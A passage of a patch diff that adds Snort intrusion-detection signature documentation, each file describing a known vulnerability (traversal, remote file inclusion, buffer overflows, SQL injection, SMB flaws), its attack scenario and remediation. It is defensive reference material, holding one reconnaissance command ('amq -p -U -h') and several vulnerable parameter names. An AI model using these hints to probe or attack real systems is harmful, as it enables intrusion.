+This rule generates an event when a filename extension commonly used by 
+viruses is detected.
+
+--
+Affected Systems:
+Any host.
+
+--
+Attack Scenarios:
+This is indicative of a virus infection.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+A legitimate attachment to an email may generate this event.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the host for signs of virus infection.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2371.txt
+++ snort-2.8.5.2/doc/signatures/2371.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+2371
+
+--
+Summary:
+This event is generated when an attempt is made to access
+Sample_showcode.html, a component of the Niti Telecom Caravan Business
+Server.
+
+--
+Impact:
+Information disclosure. Possible directory traversal.
+
+--
+Detailed Information:
+Caravan Business Server is used to develop web applications. It is
+possible for an external user to perform a directory traversal attack
+against the server by maipulating the parameter fname in the
+Sample_showcode.html file.
+
+--
+Affected Systems:
+	Caravan Business Server 2.00/03D
+
+--
+Attack Scenarios:
+An attacker can view files on the system by performaing a directory
+traversal attack using the fname parameter in the Sample_showcode.html
+script.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <matthew.watchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1959.txt
+++ snort-2.8.5.2/doc/signatures/1959.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+1959
+
+--
+Summary:
+This event is generated when an attempt is made through a portmap GETPORT request to discover the port where the Remote Procedure Call (RPC) nfsd is listening.
+
+--
+Impact:
+Information disclosure.  This request is used to discover which port nfsd is using.  Attackers can also learn what versions of the nfsd protocol are accepted by nfsd. 
+
+--
+Detailed Information:
+The portmapper service registers all RPC services on UNIX hosts. It can be queried to determine the port where RPC services such as nfsd run.  The nfsd RPC service starts the Network File System (NFS) server daemon that handles file system requests from clients. Once a client mounts an NFS file system, the nfsd daemon handles access to the mount point and associated directories.  Several vulnerabilities are associated with nfsd.
+
+--
+Affected Systems:
+All hosts running the UNIX portmapper.
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover the port where nfsd runs.  This may be a precursor to accessing nfsd.
+
+--
+Ease of Attack:
+Easy.  
+
+--
+False Positives:
+If a legitimate remote user is allowed to access nfsd, this rule may trigger.
+
+--
+False Negatives:
+This rule detects probes of the portmapper service for nfsd, not probes of the nfsd service itself. Because RPC services often listen on fairly arbitrary ports, it may not be possible to detect misuses of the nfsd service itself. An attacker may attempt to go directly to the nfsd port without querying the portmapper service, which would not trigger the rule.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1023.txt
+++ snort-2.8.5.2/doc/signatures/1023.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+1023
+
+--
+Summary:
+This event is generated when an attempt is made to access the msadcs.dll file, which provides an interface to Remote Data Services (RDS).
+
+--
+Impact:
+Information gathering or remote access. This attack may allow disclosure of file contents or may allow remote access to the vulnerable server. 
+
+--
+Detailed Information:
+Microsoft Data Access Components (MDAC) provides web and database integration.  The RDS component of MDAC enables remote web access to database services through the Internet Information Server (IIS).  A vulnerability exists in the DataFactory component of RDS that may permit unauthenticated users to query databases.  Depending on other software installed, it may be possible to execute arbitrary commands on IIS. 
+
+--
+Affected Systems:
+IIS 3.0, 4.0 servers 
+
+--
+Attack Scenarios:
+An attacker can exploit the vulnerability to get access to remote databases or, under certain software configurations, get access to the remote IIS server to run arbitrary commands. 
+
+--
+Ease of Attack:
+Simple.  Exploit code is freely available.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Follow the configuration changes in the referenced Microsoft link.
+
+Upgrade to a more current version of IIS.
+ 
+--
+Contributors:
+Original rule writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-1011
+
+Bugtraq.
+http://www.securityfocus.com/bid/529
+
+Microsoft 
+http://www.microsoft.com/technet/security/bulletin/ms99-025.asp
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2054.txt
+++ snort-2.8.5.2/doc/signatures/2054.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+2054
+
+--
+Summary:
+Versions of the software tracking system Bugzilla prior to 2.14.1 are 
+prone to a vulnerability that allows some degree of account hijacking.
+
+--
+Impact:
+False data may be represented in the bug tracking database.
+
+--
+Detailed Information:
+Versions of Bugzilla prior to 2.14.1 and cvs version 2.15 prior to 
+20020103 allow non-authorized users to post comments as any user of 
+their choosing, including non-valid usernames.
+
+A check to verify the user is valid when posting comments is not 
+performed correctly. Using this an attacker might post comments as 
+another user in the bugzilla database.
+
+--
+Affected Systems:
+Bugzilla versions prior to 2.14.1 and cvs versions prior to 2.15 (cvs20020103)
+
+--
+Attack Scenarios:
+The attacker can manually edit the page to pass his own version of 
+variables to the script handling the comments. This script in turn 
+passes the data directly to another script that handles the posting of 
+bugs without checking the user database.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade Bugzilla to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0008
+
+Bugzilla:
+http://www.bugzilla.org/security/2.14.1/
+http://bugzilla.mozilla.org/show_bug.cgi?id=108385
+http://bugzilla.mozilla.org/show_bug.cgi?id=108516
+
+--
--- snort-2.8.5.2.orig/doc/signatures/550.txt
+++ snort-2.8.5.2/doc/signatures/550.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+550
+
+--
+Summary:
+This event is generated when activity by Peer-to-Peer (p2p) clients is detected.
+
+--
+Impact:
+Informational event. Unauthorized use of a p2p client may be in progress.
+
+--
+Detailed Information:
+This event indicates that use of a p2p client has been detected. This may be against corporate policy. p2p clients connect to other p2p clients to share files, commonly music and video files but can be configured to share any file on the local machine.
+
+This activity may not only use bandwidth but may also be used to transfer company confidential information to unauthorized hosts external to the protected network bypassing other security measures in place.
+
+--
+Affected Systems:
+Any host using a p2p client.
+
+--
+Attack Scenarios:
+This is indicative of the use of a p2p client.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Check the host and uninstall any p2p client found.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+OpenNap Specification
+http://opennap.sourceforge.net/napster.txt
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2387.txt
+++ snort-2.8.5.2/doc/signatures/2387.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+2387
+
+--
+Summary:
+This event is generated when an attempt is made to view a URL with the string "view_broadcast.cgi" in the name.
+
+--
+Impact:
+Denial of service.
+
+--
+Detailed Information:
+A vulnerabilities exists in Apple Quick Time Streaming Server and
+Apple Darwin Streaming Server running on Windows hosts, that may allow
+a denial of service to occur.  This happens when expected parameters are not 
+supplied to this script, causing the server to fail to accept new connections.
+
+--
+Affected Systems:
+QuickTime/Darwin Streaming Server 4.1.3e and earlier on Windows
+
+--
+Attack Scenarios:
+An attacker can craft a packet that contains a URL with the location of the view_broadcast.cgi script and not pass it required parameters.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Apply the appropriate patches for the systems affected.
+
+Upgrade to the latest non affected versions of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak<judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/8257
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0422
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2942.txt
+++ snort-2.8.5.2/doc/signatures/2942.txt
@@ -0,0 +1,66 @@
+Rule:
+
+--
+Sid:
+2942
+
+--
+Summary:
+This event is generated when an attempt is made to shutdown a Windows
+system via SMB. 
+
+--
+Impact:
+Serious.
+
+--
+Detailed Information:
+This event indicates that an attempt was made to shutdown a Windows
+system via SMB across the network.
+
+It may be possible for an attacker to manipulate a Windows system
+from a remote location. Shutting down a system may lead to a Denial of
+Service for the target host.
+
+--
+Affected Systems:
+	Microsoft Windows systems.
+
+--
+Attack Scenarios:
+An attacker may be able to manipulate a target system using SMB. The
+attacker may gain complete control over the affected system.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the host for signs of system compromise.
+
+Turn off file and print sharing on the target host.
+
+Use a packet filtering firewall to disallow SMB access to the host from
+sources external to the protected network.
+
+Disallow remote registry manipulation.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000387.txt
+++ snort-2.8.5.2/doc/signatures/100000387.txt
@@ -0,0 +1,56 @@
+Rule:
+
+--
+Sid:
+100000387
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Ovidentia" application running on a webserver. Access to the file "index.php" using a remote file being passed as the "babInstallPath" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "babInstallPath" parameter in the "index.php" script used by the "Ovidentia" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Ovidentia
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/918.txt
+++ snort-2.8.5.2/doc/signatures/918.txt
@@ -0,0 +1,62 @@
+SID:
+918
+--
+
+Rule:
+--
+
+Summary:
+This even indicates an attempt to exploit undocumented CFML tags on a 
+Allaire ColdFusion Server
+--
+
+Impact:
+Extensive server data retrieval including settings and passwords
+--
+
+Detailed Information:
+Undocumented CFML tags allow reading and decryption of sensitive data 
+contained on servers running Allaire ColdFusion Server 2.0 - 4.0.1. This
+data can be accesses by constructing a hosted application that accesses 
+these undocumented tags with the possibility of changing values on the 
+server and reading admin and studio passwords
+--
+
+Affected Systems:
+	Allaire ColdFusion Server 2.0 - 4.0.1
+--
+
+Attack Scenarios:
+A user with permission to create pages on the server installs an 
+application that accesses the undocumented CFML tags, accessing this 
+application would allow viewing and possible modifications of these 
+settings
+--
+
+Ease of Attack:
+Medium, Attackers need the ability to add files to the server. No "In 
+the Wild" exploits were available at type of writing
+--
+
+False Positives:
+None known
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Patches are available from Allaire, install them.
+--
+
+Contributors:
+Snort documentation contributed by matthew harvey <indexone@yahoo.com>
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2832.txt
+++ snort-2.8.5.2/doc/signatures/2832.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2832
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure do_deferred_repcat_admin
+. This procedure is included in
+sys.dbms_repcat_mas.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1261.txt
+++ snort-2.8.5.2/doc/signatures/1261.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+1261
+
+--
+Summary:
+This event is genereated when an attempt to overflow the buffer of the
+IBM Program Database Name Server Daemon (PDNSD) is made.
+
+--
+Impact:
+Serious. System compromize presenting the attacker with the opportunity
+to gain remote access to the victim host or execute arbitrary code with
+the privileges of the superuser account.
+
+--
+Detailed Information:
+Some versions of IBM PDSND for AIX are vulnerable to a buffer overflow
+condition which can present the attacker with root privileges.
+
+
+Affected Systems:
+	PDSND versions 2 and 3
+
+--
+Attack Scenarios:
+Exploit scripts are available
+
+--
+Ease of Attack:
+Simple. Exploits are available.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Disable the PDSND daemon.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CIAC:
+http://www.ciac.org/ciac/bulletins/j-059.shtml
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000790.txt
+++ snort-2.8.5.2/doc/signatures/100000790.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000790
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Pivot" application running on a webserver. Access to the file "edit_new.php" using a remote file being passed as the "Paths[extensions_path]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "Paths[extensions_path]" parameter in the "edit_new.php" script used by the "Pivot" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Pivot
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1751.txt
+++ snort-2.8.5.2/doc/signatures/1751.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid: 1751
+
+--
+Summary:
+This event is generated when a buffer overflow attempt is made against a host using cachefsd.
+
+--
+Impact:
+Serious. System compromize presenting the attacker with the opportunity to execute arbitrary code or gain remote access to the victim host.
+
+--
+Detailed Information:
+A buffer overflow condition exists in the Cache File System daemon 
+(cachefsd) on certain versions of Solaris for SPARC and x86 
+architectures.
+
+cachefsd is used to improve the performance of NFS servers.
+
+Affected Systems:
+	Solaris 5.5.1, 5.6, 5.7 and 5.8
+
+--
+Attack Scenarios:
+Exploit scripts are available
+
+--
+Ease of Attack:
+Simple. Exploits are available.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Disable cachefsd.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+AusCERT:
+http://www.auscert.org.au/render.html?it=1918
+
+CERT:
+http://www.kb.cert.org/vuls/id/161931
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0084
+
+
+Bugtraq:
+http://www.securityfocus.com/bid/4631
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3078.txt
+++ snort-2.8.5.2/doc/signatures/3078.txt
@@ -0,0 +1,66 @@
+Rule:  
+
+--
+Sid:
+3078
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft implementation of the Network News Transport
+Protocol (NNTP) for Internet Information Server (IIS).
+
+--
+Impact:
+Execution of arbitrary code on the affected system
+
+--
+Detailed Information:
+The Microsoft implementation of NNTP for IIS contains a programming
+error in the processing of user supplied input that may present an
+attacker with multiple opportunites to execute code of their choosing on
+an affected system.
+
+--
+Affected Systems:
+. Microsoft Windows NT Server 4.0 NNTP component
+. Microsoft Windows 2000 Server NNTP component
+. Microsoft Windows Server 2003 NNTP Component
+. Microsoft Windows Server 2003 64-Bit Edition NNTP Component
+
+--
+Attack Scenarios:
+An attacker must supply specially crafted input to a vulnerable system
+to cause the overflow to occur.
+
+--
+Ease of Attack:
+Moderate. Example code exists.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade to the latest non-affected version of the software
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+CORE Technologies:
+http://www.coresecurity.com/common/showdoc.php?idx=420&idxseccion=10
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1482.txt
+++ snort-2.8.5.2/doc/signatures/1482.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1482
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3144.txt
+++ snort-2.8.5.2/doc/signatures/3144.txt
@@ -0,0 +1,77 @@
+Rule: 
+
+--
+Sid: 
+3144
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft systems using Server Message Block (SMB).
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+SMB is a client - server protocol used in sharing resources such as
+files, printers, ports, named pipes and other things, between machines
+on a network.
+
+A vulnerability in the Microsoft implementation of SMB exists due to a
+programming error which may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain unauthorized access to the target host.
+
+A malicious attacker can exploit the vulnerability by sending a
+malicious response from a server in response to a client request using
+SMB.
+
+--
+Affected Systems:
+	Microsoft Windows 2003
+	Microsoft Windows 2000
+	Microsoft Windows XP
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message from the server
+containing code of their choosing to be run on the client.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+Turn off windows file and print services.
+
+Use Samba as an alternative.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+eEye:
+http://www.eeye.com/html/research/advisories/AD20050208.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1954.txt
+++ snort-2.8.5.2/doc/signatures/1954.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+1954
+
+--
+Summary:
+This event is generated when a request is made to discover the Process ID (PID) of the Remote Procedure Call (RPC) amd.
+
+--
+Impact:
+Information disclosure.  This request can allow an attacker to discover the PID associated with amd.
+
+--
+Detailed Information:
+The amd RPC service implements the automounter daemon on UNIX hosts.  The amd  service automatically mounts and unmounts requested file systems.  An attacker can make a request to amd to discover its PID.  Learning the PID may help an attacker guess a range of likely PIDs associated with other running services that are either started before or after amd.  This may facilitate an attack against other running processes.  
+
+--
+Affected Systems:
+Any system running amd.
+
+--
+Attack Scenarios:
+An attacker may request the PID associated with amd.  This information may be used to attack other running processes if the attacker has some means of access to the target host. 
+
+--
+Ease of Attack:
+Simple.  Execute the command 'amq -p -U -h hostname/IP'.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3089.txt
+++ snort-2.8.5.2/doc/signatures/3089.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+3089
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a denial of
+service associated with Squid Web Cache Communication Protocol (WCCP).
+
+--
+Impact:
+A successful attack can cause the Squid web cache server process to
+terminate.
+
+--
+Detailed Information:
+A vulnerability exists in the way that a Squid server handles a WCCP
+message.  A WCCP I_SEE_YOU message that contains an invalid number of
+web cache entries can create an out-of-bounds array reference.  This may
+result in a read access violation of memory, causing a denial of service.
+
+--
+Affected Systems:
+	Squid Web Proxy Cache 2.5 STABLE7 and prior versions
+
+--
+Attack Scenarios:
+An attacker can craft a WCCP I_SEE_YOU message with an invalid number of
+web cache entries, causing the web cache server process to terminate.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the most current non-affected version of the product.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000445.txt
+++ snort-2.8.5.2/doc/signatures/100000445.txt
@@ -0,0 +1,61 @@
+
+
+Rule:
+
+--
+Sid:
+100000445
+
+--
+Summary:
+Particle Gallery is susceptible to an injection attack due to a lack
+of input validation on the imageid variable used in the viewimage.php
+component.
+
+--
+Impact:
+The injection attack could result in data leakage, or potential remote
+compromise.
+
+--
+Detailed Information:
+Particle Gallery is prone to an SQL-injection vulnerability. This issue is due
+to a failure in the application to properly sanitize user-supplied input 
+before using it in an SQL query. 
+
+A successful exploit could allow an attacker to compromise the application,
+access or modify data, or exploit vulnerabilities in the underlying database
+implementation.
+
+The data type assigned to the column referenced by the variable is int, so
+there should never be any text or characters outside of the int used to
+identify the image.
+
+--
+Attack Scenarios:
+Variable manipulation can be done with any browser.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Edit code and add input validation.
+
+--
+Contributors:
+Dan Ramaswami <danr@sourcefire.com>
+
+-- 
+Additional References:
+
+-- 
--- snort-2.8.5.2.orig/doc/signatures/100000766.txt
+++ snort-2.8.5.2/doc/signatures/100000766.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000766
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Blog CMS" application running on a webserver. Access to the file "thumb.php" using a remote file being passed as the "gallery" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "gallery" parameter in the "thumb.php" script used by the "Blog CMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Blog CMS
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1494.txt
+++ snort-2.8.5.2/doc/signatures/1494.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1494
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
